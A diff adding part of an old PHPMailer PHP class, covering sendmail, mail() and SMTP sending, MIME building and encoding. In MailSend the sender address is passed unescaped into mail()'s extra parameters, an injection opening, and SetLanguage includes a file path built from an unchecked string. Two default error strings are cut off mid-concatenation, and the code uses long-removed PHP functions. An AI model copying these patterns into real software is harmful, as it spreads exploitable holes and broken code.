+      $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
+    } else {
+      $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
+    }
+
+    if(!@$mail = popen($sendmail, 'w')) {
+      $this->SetError($this->Lang('execute') . $this->Sendmail);
+      return false;
+    }
+
+    fputs($mail, $header);
+    fputs($mail, $body);
+
+    $result = pclose($mail);
+    if (version_compare(phpversion(), '4.2.3') == -1) {
+      $result = $result >> 8 & 0xFF;
+    }
+    if($result != 0) {
+      $this->SetError($this->Lang('execute') . $this->Sendmail);
+      return false;
+    }
+    return true;
+  }
+
+  /**
+   * Sends mail using the PHP mail() function.
+   * @access private
+   * @return bool
+   */
+  function MailSend($header, $body) {
+
+    $to = '';
+    for($i = 0; $i < count($this->to); $i++) {
+      if($i != 0) { $to .= ', '; }
+      $to .= $this->AddrFormat($this->to[$i]);
+    }
+
+    $toArr = split(',', $to);
+
+    $params = sprintf("-oi -f %s", $this->Sender);
+    if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
+      $old_from = ini_get('sendmail_from');
+      ini_set('sendmail_from', $this->Sender);
+      if ($this->SingleTo === true && count($toArr) > 1) {
+        foreach ($toArr as $key => $val) {
+          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
+        }
+      } else {
+        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
+      }
+    } else {
+      if ($this->SingleTo === true && count($toArr) > 1) {
+        foreach ($toArr as $key => $val) {
+          $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
+        }
+      } else {
+        $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
+      }
+    }
+
+    if (isset($old_from)) {
+      ini_set('sendmail_from', $old_from);
+    }
+
+    if(!$rt) {
+      $this->SetError($this->Lang('instantiate'));
+      return false;
+    }
+
+    return true;
+  }
+
+  /**
+   * Sends mail via SMTP using PhpSMTP (Author:
+   * Chris Ryan).  Returns bool.  Returns false if there is a
+   * bad MAIL FROM, RCPT, or DATA input.
+   * @access private
+   * @return bool
+   */
+  function SmtpSend($header, $body) {
+    include_once($this->PluginDir . 'class-smtp.php');
+    $error = '';
+    $bad_rcpt = array();
+
+    if(!$this->SmtpConnect()) {
+      return false;
+    }
+
+    $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
+    if(!$this->smtp->Mail($smtp_from)) {
+      $error = $this->Lang('from_failed') . $smtp_from;
+      $this->SetError($error);
+      $this->smtp->Reset();
+      return false;
+    }
+
+    /* Attempt to send attach all recipients */
+    for($i = 0; $i < count($this->to); $i++) {
+      if(!$this->smtp->Recipient($this->to[$i][0])) {
+        $bad_rcpt[] = $this->to[$i][0];
+      }
+    }
+    for($i = 0; $i < count($this->cc); $i++) {
+      if(!$this->smtp->Recipient($this->cc[$i][0])) {
+        $bad_rcpt[] = $this->cc[$i][0];
+      }
+    }
+    for($i = 0; $i < count($this->bcc); $i++) {
+      if(!$this->smtp->Recipient($this->bcc[$i][0])) {
+        $bad_rcpt[] = $this->bcc[$i][0];
+      }
+    }
+
+    if(count($bad_rcpt) > 0) { // Create error message
+      for($i = 0; $i < count($bad_rcpt); $i++) {
+        if($i != 0) {
+          $error .= ', ';
+        }
+        $error .= $bad_rcpt[$i];
+      }
+      $error = $this->Lang('recipients_failed') . $error;
+      $this->SetError($error);
+      $this->smtp->Reset();
+      return false;
+    }
+
+    if(!$this->smtp->Data($header . $body)) {
+      $this->SetError($this->Lang('data_not_accepted'));
+      $this->smtp->Reset();
+      return false;
+    }
+    if($this->SMTPKeepAlive == true) {
+      $this->smtp->Reset();
+    } else {
+      $this->SmtpClose();
+    }
+
+    return true;
+  }
+
+  /**
+   * Initiates a connection to an SMTP server.  Returns false if the
+   * operation failed.
+   * @access private
+   * @return bool
+   */
+  function SmtpConnect() {
+    if($this->smtp == NULL) {
+      $this->smtp = new SMTP();
+    }
+
+    $this->smtp->do_debug = $this->SMTPDebug;
+    $hosts = explode(';', $this->Host);
+    $index = 0;
+    $connection = ($this->smtp->Connected());
+
+    /* Retry while there is no connection */
+    while($index < count($hosts) && $connection == false) {
+      $hostinfo = array();
+      if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
+        $host = $hostinfo[1];
+        $port = $hostinfo[2];
+      } else {
+        $host = $hosts[$index];
+        $port = $this->Port;
+      }
+
+      if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
+        if ($this->Helo != '') {
+          $this->smtp->Hello($this->Helo);
+        } else {
+          $this->smtp->Hello($this->ServerHostname());
+        }
+
+        $connection = true;
+        if($this->SMTPAuth) {
+          if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
+            $this->SetError($this->Lang('authenticate'));
+            $this->smtp->Reset();
+            $connection = false;
+          }
+        }
+      }
+      $index++;
+    }
+    if(!$connection) {
+      $this->SetError($this->Lang('connect_host'));
+    }
+
+    return $connection;
+  }
+
+  /**
+   * Closes the active SMTP session if one exists.
+   * @return void
+   */
+  function SmtpClose() {
+    if($this->smtp != NULL) {
+      if($this->smtp->Connected()) {
+        $this->smtp->Quit();
+        $this->smtp->Close();
+      }
+    }
+  }
+
+  /**
+   * Sets the language for all class error messages.  Returns false
+   * if it cannot load the language file.  The default language type
+   * is English.
+   * @param string $lang_type Type of language (e.g. Portuguese: "br")
+   * @param string $lang_path Path to the language file directory
+   * @access public
+   * @return bool
+   */
+  function SetLanguage($lang_type, $lang_path = 'language/') {
+    if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
+      include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
+    } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
+      include($lang_path.'phpmailer.lang-en.php');
+    } else {
+      $PHPMAILER_LANG = array();
+      $PHPMAILER_LANG["provide_address"]      = 'You must provide at least one ' .
+      $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.';
+      $PHPMAILER_LANG["execute"]              = 'Could not execute: ';
+      $PHPMAILER_LANG["instantiate"]          = 'Could not instantiate mail function.';
+      $PHPMAILER_LANG["authenticate"]         = 'SMTP Error: Could not authenticate.';
+      $PHPMAILER_LANG["from_failed"]          = 'The following From address failed: ';
+      $PHPMAILER_LANG["recipients_failed"]    = 'SMTP Error: The following ' .
+      $PHPMAILER_LANG["data_not_accepted"]    = 'SMTP Error: Data not accepted.';
+      $PHPMAILER_LANG["connect_host"]         = 'SMTP Error: Could not connect to SMTP host.';
+      $PHPMAILER_LANG["file_access"]          = 'Could not access file: ';
+      $PHPMAILER_LANG["file_open"]            = 'File Error: Could not open file: ';
+      $PHPMAILER_LANG["encoding"]             = 'Unknown encoding: ';
+      $PHPMAILER_LANG["signing"]              = 'Signing Error: ';
+    }
+    $this->language = $PHPMAILER_LANG;
+
+    return true;
+  }
+
+  /////////////////////////////////////////////////
+  // METHODS, MESSAGE CREATION
+  /////////////////////////////////////////////////
+
+  /**
+   * Creates recipient headers.
+   * @access private
+   * @return string
+   */
+  function AddrAppend($type, $addr) {
+    $addr_str = $type . ': ';
+    $addr_str .= $this->AddrFormat($addr[0]);
+    if(count($addr) > 1) {
+      for($i = 1; $i < count($addr); $i++) {
+        $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
+      }
+    }
+    $addr_str .= $this->LE;
+
+    return $addr_str;
+  }
+
+  /**
+   * Formats an address correctly.
+   * @access private
+   * @return string
+   */
+  function AddrFormat($addr) {
+    if(empty($addr[1])) {
+      $formatted = $this->SecureHeader($addr[0]);
+    } else {
+      $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
+    }
+
+    return $formatted;
+  }
+
+  /**
+   * Wraps message for use with mailers that do not
+   * automatically perform wrapping and for quoted-printable.
+   * Original written by philippe.
+   * @access private
+   * @return string
+   */
+  function WrapText($message, $length, $qp_mode = false) {
+    $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
+    // If utf-8 encoding is used, we will need to make sure we don't
+    // split multibyte characters when we wrap
+    $is_utf8 = (strtolower($this->CharSet) == "utf-8");
+
+    $message = $this->FixEOL($message);
+    if (substr($message, -1) == $this->LE) {
+      $message = substr($message, 0, -1);
+    }
+
+    $line = explode($this->LE, $message);
+    $message = '';
+    for ($i=0 ;$i < count($line); $i++) {
+      $line_part = explode(' ', $line[$i]);
+      $buf = '';
+      for ($e = 0; $e<count($line_part); $e++) {
+        $word = $line_part[$e];
+        if ($qp_mode and (strlen($word) > $length)) {
+          $space_left = $length - strlen($buf) - 1;
+          if ($e != 0) {
+            if ($space_left > 20) {
+              $len = $space_left;
+              if ($is_utf8) {
+                $len = $this->UTF8CharBoundary($word, $len);
+              } elseif (substr($word, $len - 1, 1) == "=") {
+                $len--;
+              } elseif (substr($word, $len - 2, 1) == "=") {
+                $len -= 2;
+              }
+              $part = substr($word, 0, $len);
+              $word = substr($word, $len);
+              $buf .= ' ' . $part;
+              $message .= $buf . sprintf("=%s", $this->LE);
+            } else {
+              $message .= $buf . $soft_break;
+            }
+            $buf = '';
+          }
+          while (strlen($word) > 0) {
+            $len = $length;
+            if ($is_utf8) {
+              $len = $this->UTF8CharBoundary($word, $len);
+            } elseif (substr($word, $len - 1, 1) == "=") {
+              $len--;
+            } elseif (substr($word, $len - 2, 1) == "=") {
+              $len -= 2;
+            }
+            $part = substr($word, 0, $len);
+            $word = substr($word, $len);
+
+            if (strlen($word) > 0) {
+              $message .= $part . sprintf("=%s", $this->LE);
+            } else {
+              $buf = $part;
+            }
+          }
+        } else {
+          $buf_o = $buf;
+          $buf .= ($e == 0) ? $word : (' ' . $word);
+
+          if (strlen($buf) > $length and $buf_o != '') {
+            $message .= $buf_o . $soft_break;
+            $buf = $word;
+          }
+        }
+      }
+      $message .= $buf . $this->LE;
+    }
+
+    return $message;
+  }
+
+  /**
+   * Finds last character boundary prior to maxLength in a utf-8
+   * quoted (printable) encoded string.
+   * Original written by Colin Brown.
+   * @access private
+   * @param string $encodedText utf-8 QP text
+   * @param int    $maxLength   find last character boundary prior to this length
+   * @return int
+   */
+  function UTF8CharBoundary($encodedText, $maxLength) {
+    $foundSplitPos = false;
+    $lookBack = 3;
+    while (!$foundSplitPos) {
+      $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
+      $encodedCharPos = strpos($lastChunk, "=");
+      if ($encodedCharPos !== false) {
+        // Found start of encoded character byte within $lookBack block.
+        // Check the encoded byte value (the 2 chars after the '=')
+        $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
+        $dec = hexdec($hex);
+        if ($dec < 128) { // Single byte character.
+          // If the encoded char was found at pos 0, it will fit
+          // otherwise reduce maxLength to start of the encoded char
+          $maxLength = ($encodedCharPos == 0) ? $maxLength :
+          $maxLength - ($lookBack - $encodedCharPos);
+          $foundSplitPos = true;
+        } elseif ($dec >= 192) { // First byte of a multi byte character
+          // Reduce maxLength to split at start of character
+          $maxLength = $maxLength - ($lookBack - $encodedCharPos);
+          $foundSplitPos = true;
+        } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
+          $lookBack += 3;
+        }
+      } else {
+        // No encoded character found
+        $foundSplitPos = true;
+      }
+    }
+    return $maxLength;
+  }
+
+  /**
+   * Set the body wrapping.
+   * @access private
+   * @return void
+   */
+  function SetWordWrap() {
+    if($this->WordWrap < 1) {
+      return;
+    }
+
+    switch($this->message_type) {
+      case 'alt':
+        /* fall through */
+      case 'alt_attachments':
+        $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
+        break;
+      default:
+        $this->Body = $this->WrapText($this->Body, $this->WordWrap);
+        break;
+    }
+  }
+
+  /**
+   * Assembles message header.
+   * @access private
+   * @return string
+   */
+  function CreateHeader() {
+    $result = '';
+
+    /* Set the boundaries */
+    $uniq_id = md5(uniqid(time()));
+    $this->boundary[1] = 'b1_' . $uniq_id;
+    $this->boundary[2] = 'b2_' . $uniq_id;
+
+    $result .= $this->HeaderLine('Date', $this->RFCDate());
+    if($this->Sender == '') {
+      $result .= $this->HeaderLine('Return-Path', trim($this->From));
+    } else {
+      $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
+    }
+
+    /* To be created automatically by mail() */
+    if($this->Mailer != 'mail') {
+      if(count($this->to) > 0) {
+        $result .= $this->AddrAppend('To', $this->to);
+      } elseif (count($this->cc) == 0) {
+        $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
+      }
+    }
+
+    $from = array();
+    $from[0][0] = trim($this->From);
+    $from[0][1] = $this->FromName;
+    $result .= $this->AddrAppend('From', $from);
+
+    /* sendmail and mail() extract Cc from the header before sending */
+    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
+      $result .= $this->AddrAppend('Cc', $this->cc);
+    }
+
+    /* sendmail and mail() extract Bcc from the header before sending */
+    if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
+      $result .= $this->AddrAppend('Bcc', $this->bcc);
+    }
+
+    if(count($this->ReplyTo) > 0) {
+      $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
+    }
+
+    /* mail() sets the subject itself */
+    if($this->Mailer != 'mail') {
+      $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
+    }
+
+    if($this->MessageID != '') {
+      $result .= $this->HeaderLine('Message-ID',$this->MessageID);
+    } else {
+      $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
+    }
+    $result .= $this->HeaderLine('X-Priority', $this->Priority);
+    $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
+
+    if($this->ConfirmReadingTo != '') {
+      $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
+    }
+
+    // Add custom headers
+    for($index = 0; $index < count($this->CustomHeader); $index++) {
+      $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
+    }
+    if (!$this->sign_key_file) {
+      $result .= $this->HeaderLine('MIME-Version', '1.0');
+      $result .= $this->GetMailMIME();
+    }
+
+    return $result;
+  }
+
+  /**
+   * Returns the message MIME.
+   * @access private
+   * @return string
+   */
+  function GetMailMIME() {
+    $result = '';
+    switch($this->message_type) {
+      case 'plain':
+        $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
+        $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
+        break;
+      case 'attachments':
+        /* fall through */
+      case 'alt_attachments':
+        if($this->InlineImageExists()){
+          $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
+        } else {
+          $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
+          $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
+        }
+        break;
+      case 'alt':
+        $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
+        $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
+        break;
+    }
+
+    if($this->Mailer != 'mail') {
+      $result .= $this->LE.$this->LE;
+    }
+
+    return $result;
+  }
+
+  /**
+   * Assembles the message body.  Returns an empty string on failure.
+   * @access private
+   * @return string
+   */
+  function CreateBody() {
+    $result = '';
+    if ($this->sign_key_file) {
+      $result .= $this->GetMailMIME();
+    }
+
+    $this->SetWordWrap();
+
+    switch($this->message_type) {
+      case 'alt':
+        $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
+        $result .= $this->EncodeString($this->AltBody, $this->Encoding);
+        $result .= $this->LE.$this->LE;
+        $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
+        $result .= $this->EncodeString($this->Body, $this->Encoding);
+        $result .= $this->LE.$this->LE;
+        $result .= $this->EndBoundary($this->boundary[1]);
+        break;
+      case 'plain':
+        $result .= $this->EncodeString($this->Body, $this->Encoding);
+        break;
+      case 'attachments':
+        $result .= $this->GetBoundary($this->boundary[1], '', '', '');
+        $result .= $this->EncodeString($this->Body, $this->Encoding);
+        $result .= $this->LE;
+        $result .= $this->AttachAll();
+        break;
+      case 'alt_attachments':
+        $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
+        $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
+        $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
+        $result .= $this->EncodeString($this->AltBody, $this->Encoding);
+        $result .= $this->LE.$this->LE;
+        $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
+        $result .= $this->EncodeString($this->Body, $this->Encoding);
+        $result .= $this->LE.$this->LE;
+        $result .= $this->EndBoundary($this->boundary[2]);
+        $result .= $this->AttachAll();
+        break;
+    }
+
+    if($this->IsError()) {
+      $result = '';
+    } else if ($this->sign_key_file) {
+      $file = tempnam("", "mail");
+      $fp = fopen($file, "w");
+      fwrite($fp, $result);
+      fclose($fp);
+      $signed = tempnam("", "signed");
+
+      if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_cert_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
+        $fp = fopen($signed, "r");
+        $result = fread($fp, filesize($this->sign_key_file));
+        $result = '';
+        while(!feof($fp)){
+          $result = $result . fread($fp, 1024);
+        }
+        fclose($fp);
+      } else {
+        $this->SetError($this->Lang("signing").openssl_error_string());
+        $result = '';
+      }
+
+      unlink($file);
+      unlink($signed);
+    }
+
+    return $result;
+  }
+
+  /**
+   * Returns the start of a message boundary.
+   * @access private
+   */
+  function GetBoundary($boundary, $charSet, $contentType, $encoding) {
+    $result = '';
+    if($charSet == '') {
+      $charSet = $this->CharSet;
+    }
+    if($contentType == '') {
+      $contentType = $this->ContentType;
+    }
+    if($encoding == '') {
+      $encoding = $this->Encoding;
+    }
+    $result .= $this->TextLine('--' . $boundary);
+    $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
+    $result .= $this->LE;
+    $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
+    $result .= $this->LE;
+
+    return $result;
+  }
+
+  /**
+   * Returns the end of a message boundary.
+   * @access private
+   */
+  function EndBoundary($boundary) {
+    return $this->LE . '--' . $boundary . '--' . $this->LE;
+  }
+
+  /**
+   * Sets the message type.
+   * @access private
+   * @return void
+   */
+  function SetMessageType() {
+    if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
+      $this->message_type = 'plain';
+    } else {
+      if(count($this->attachment) > 0) {
+        $this->message_type = 'attachments';
+      }
+      if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
+        $this->message_type = 'alt';
+      }
+      if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
+        $this->message_type = 'alt_attachments';
+      }
+    }
+  }
+
+  /* Returns a formatted header line.
+   * @access private
+   * @return string
+   */
+  function HeaderLine($name, $value) {
+    return $name . ': ' . $value . $this->LE;
+  }
+
+  /**
+   * Returns a formatted mail line.
+   * @access private
+   * @return string
+   */
+  function TextLine($value) {
+    return $value . $this->LE;
+  }
+
+  /////////////////////////////////////////////////
+  // CLASS METHODS, ATTACHMENTS
+  /////////////////////////////////////////////////
+
+  /**
+   * Adds an attachment from a path on the filesystem.
+   * Returns false if the file could not be found
+   * or accessed.
+   * @param string $path Path to the attachment.
+   * @param string $name Overrides the attachment name.
+   * @param string $encoding File encoding (see $Encoding).
+   * @param string $type File extension (MIME) type.
+   * @return bool
+   */
+  function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
+    if(!@is_file($path)) {
+      $this->SetError($this->Lang('file_access') . $path);
+      return false;
+    }
+
+    $filename = basename($path);
+    if($name == '') {
+      $name = $filename;
+    }
+
+    $cur = count($this->attachment);
+    $this->attachment[$cur][0] = $path;
+    $this->attachment[$cur][1] = $filename;
+    $this->attachment[$cur][2] = $name;
+    $this->attachment[$cur][3] = $encoding;
+    $this->attachment[$cur][4] = $type;
+    $this->attachment[$cur][5] = false; // isStringAttachment
+    $this->attachment[$cur][6] = 'attachment';
+    $this->attachment[$cur][7] = 0;
+
+    return true;
+  }
+
+  /**
+   * Attaches all fs, string, and binary attachments to the message.
+   * Returns an empty string on failure.
+   * @access private
+   * @return string
+   */
+  function AttachAll() {
+    /* Return text of body */
+    $mime = array();
+
+    /* Add all attachments */
+    for($i = 0; $i < count($this->attachment); $i++) {
+      /* Check for string attachment */
+      $bString = $this->attachment[$i][5];
+      if ($bString) {
+        $string = $this->attachment[$i][0];
+      } else {
+        $path = $this->attachment[$i][0];
+      }
+
+      $filename    = $this->attachment[$i][1];
+      $name        = $this->attachment[$i][2];
+      $encoding    = $this->attachment[$i][3];
+      $type        = $this->attachment[$i][4];
+      $disposition = $this->attachment[$i][6];
+      $cid         = $this->attachment[$i][7];
+
+      $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
+      $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE);
+      $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
+
+      if($disposition == 'inline') {
+        $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
+      }
+
+      $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE);
+
+      /* Encode as string attachment */
+      if($bString) {
+        $mime[] = $this->EncodeString($string, $encoding);
+        if($this->IsError()) {
+          return '';
+        }
+        $mime[] = $this->LE.$this->LE;
+      } else {
+        $mime[] = $this->EncodeFile($path, $encoding);
+        if($this->IsError()) {
+          return '';
+        }
+        $mime[] = $this->LE.$this->LE;
+      }
+    }
+
+    $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
+
+    return join('', $mime);
+  }
+
+  /**
+   * Encodes attachment in requested format.  Returns an
+   * empty string on failure.
+   * @access private
+   * @return string
+   */
+  function EncodeFile ($path, $encoding = 'base64') {
+    if(!@$fd = fopen($path, 'rb')) {
+      $this->SetError($this->Lang('file_open') . $path);
+      return '';
+    }
+    $magic_quotes = get_magic_quotes_runtime();
+    set_magic_quotes_runtime(0);
+    $file_buffer = fread($fd, filesize($path));
+    $file_buffer = $this->EncodeString($file_buffer, $encoding);
+    fclose($fd);
+    set_magic_quotes_runtime($magic_quotes);
+
+    return $file_buffer;
+  }
+
+  /**
+   * Encodes string to requested format. Returns an
+   * empty string on failure.
+   * @access private
+   * @return string
+   */
+  function EncodeString ($str, $encoding = 'base64') {
+    $encoded = '';
+    switch(strtolower($encoding)) {
+      case 'base64':
+        /* chunk_split is found in PHP >= 3.0.6 */
+        $encoded = chunk_split(base64_encode($str), 76, $this->LE);
+        break;
+      case '7bit':
+      case '8bit':
+        $encoded = $this->FixEOL($str);
+        if (substr($encoded, -(strlen($this->LE))) != $this->LE)
+          $encoded .= $this->LE;
+        break;
+      case 'binary':
+        $encoded = $str;
+        break;
+      case 'quoted-printable':
+        $encoded = $this->EncodeQP($str);
+        break;
+      default:
+        $this->SetError($this->Lang('encoding') . $encoding);
+        break;
+    }
+    return $encoded;
+  }
+
+  /**
+   * Encode a header string to best of Q, B, quoted or none.
+   * @access private
+   * @return string
+   */
+  function EncodeHeader ($str, $position = 'text') {
+    $x = 0;
+
+    switch (strtolower($position)) {
+      case 'phrase':
+        if (!preg_match('/[\200-\377]/', $str)) {
+          /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
+          $encoded = addcslashes($str, "\0..\37\177\\\"");
+          if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
+            return ($encoded);
+          } else {
+            return ("\"$encoded\"");
+          }
+        }
+        $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
+        break;
+      case 'comment':
+        $x = preg_match_all('/[()"]/', $str, $matches);
+        /* Fall-through */
+      case 'text':
+      default:
+        $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
+        break;
+    }
+
+    if ($x == 0) {
+      return ($str);
+    }
+
+    $maxlen = 75 - 7 - strlen($this->CharSet);
+    /* Try to select the encoding which should produce the shortest output */
+    if (strlen($str)/3 < $x) {
+      $encoding = 'B';
+      if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
+     // Use a custom function which correctly encodes and wraps long
+     // multibyte strings without breaking lines within a character
+        $encoded = $this->Base64EncodeWrapMB($str);
+      } else {
+        $encoded = base64_encode($str);
+        $maxlen -= $maxlen % 4;
+        $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
+      }
+    } else {
+      $encoding = 'Q';
+      $encoded = $this->EncodeQ($str, $position);
+      $encoded = $this->WrapText($encoded, $maxlen, true);
+      $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
+    }
+
+    $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
+    $encoded = trim(str_replace("\n", $this->LE, $encoded));
+
+    return $encoded;
+  }
+
+  /**
+   * Checks if a string contains multibyte characters.
+   * @access private
+   * @param string $str multi-byte text to wrap encode
+   * @return bool
+   */
+  function HasMultiBytes($str) {
+    if (function_exists('mb_strlen')) {
+      return (strlen($str) > mb_strlen($str, $this->CharSet));
+    } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
+      return False;
+    }
+  }
+
+  /**
+   * Correctly encodes and wraps long multibyte strings for mail headers
+   * without breaking lines within a character.
+   * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
+   * @access private
+   * @param string $str multi-byte text to wrap encode
+   * @return string
+   */
+  function Base64EncodeWrapMB($str) {
+    $start = "=?".$this->CharSet."?B?";
+    $end = "?=";
+    $encoded = "";
+
+    $mb_length = mb_strlen($str, $this->CharSet);
+    // Each line must have length <= 75, including $start and $end
+    $length = 75 - strlen($start) - strlen($end);
+    // Average multi-byte ratio
+    $ratio = $mb_length / strlen($str);
+    // Base64 has a 4:3 ratio
+    $offset = $avgLength = floor($length * $ratio * .75);
+
+    for ($i = 0; $i < $mb_length; $i += $offset) {
+      $lookBack = 0;
+
+      do {
+        $offset = $avgLength - $lookBack;
+        $chunk = mb_substr($str, $i, $offset, $this->CharSet);
+        $chunk = base64_encode($chunk);
+        $lookBack++;
+      }
+      while (strlen($chunk) > $length);
+
+      $encoded .= $chunk . $this->LE;
+    }
+
+    // Chomp the last linefeed
+    $encoded = substr($encoded, 0, -strlen($this->LE));
+    return $encoded;
+  }
+
+  /**
+   * Encode string to quoted-printable.
+   * @access private
+   * @return string
+   */
+  function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
+    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
+    $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
+    $eol = "\r\n";
+    $escape = '=';
+    $output = '';
+    while( list(, $line) = each($lines) ) {
+      $linlen = strlen($line);
+      $newline = '';
+      for($i = 0; $i < $linlen; $i++) {
+        $c = substr( $line, $i, 1 );
+        $dec = ord( $c );
+        if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
+          $c = '=2E';
+        }
+        if ( $dec == 32 ) {
+          if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
+            $c = '=20';
+          } else if ( $space_conv ) {
+            $c = '=20';
+          }
+        } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
+          $h2 = floor($dec/16);
+          $h1 = floor($dec%16);
+          $c = $escape.$hex[$h2].$hex[$h1];
+        }
+        if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
+          $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
+          $newline = '';
+          // check if newline first character will be point or not
+          if ( $dec == 46 ) {
+            $c = '=2E';
+          }
+        }
+        $newline .= $c;
+      } // end of for
+      $output .= $newline.$eol;
+    } // end of while
+    return $output;
+  }
+
+  /**
+   * Callback for converting to "=XX".
+   * @access private
+   * @return string
+   */
+  function EncodeQ_callback ($matches) {
+    return sprintf('=%02X', ord($matches[1]));
+  }
+
+  /**
+   * Encode string to q encoding.
+   * @access private
+   * @return string
+   */
+  function EncodeQ ($str, $position = 'text') {
+    /* There should not be any EOL in the string */
+    $encoded = preg_replace("/[\r\n]/", '', $str);
+
+    switch (strtolower($position)) {
+      case 'phrase':
+        $encoded = preg_replace_callback("/([^A-Za-z0-9!*+\/ -])/",
+                                         array('PHPMailer', 'EncodeQ_callback'), $encoded);
+        break;
+      case 'comment':
+        $encoded = preg_replace_callback("/([\(\)\"])/",
+                                         array('PHPMailer', 'EncodeQ_callback'), $encoded);
+        break;
+      case 'text':
+      default:
+        /* Replace every high ascii, control =, ? and _ characters */
+        $encoded = preg_replace_callback('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/',
+                                         array('PHPMailer', 'EncodeQ_callback'), $encoded);
+        break;
+    }
+
+    /* Replace every spaces to _ (more readable than =20) */
+    $encoded = str_replace(' ', '_', $encoded);
+
+    return $encoded;
+  }
+
+  /**
+   * Adds a string or binary attachment (non-filesystem) to the list.
+   * This method can be used to attach ascii or binary data,
+   * such as a BLOB record from a database.
+   * @param string $string String attachment data.
+   * @param string $filename Name of the attachment.
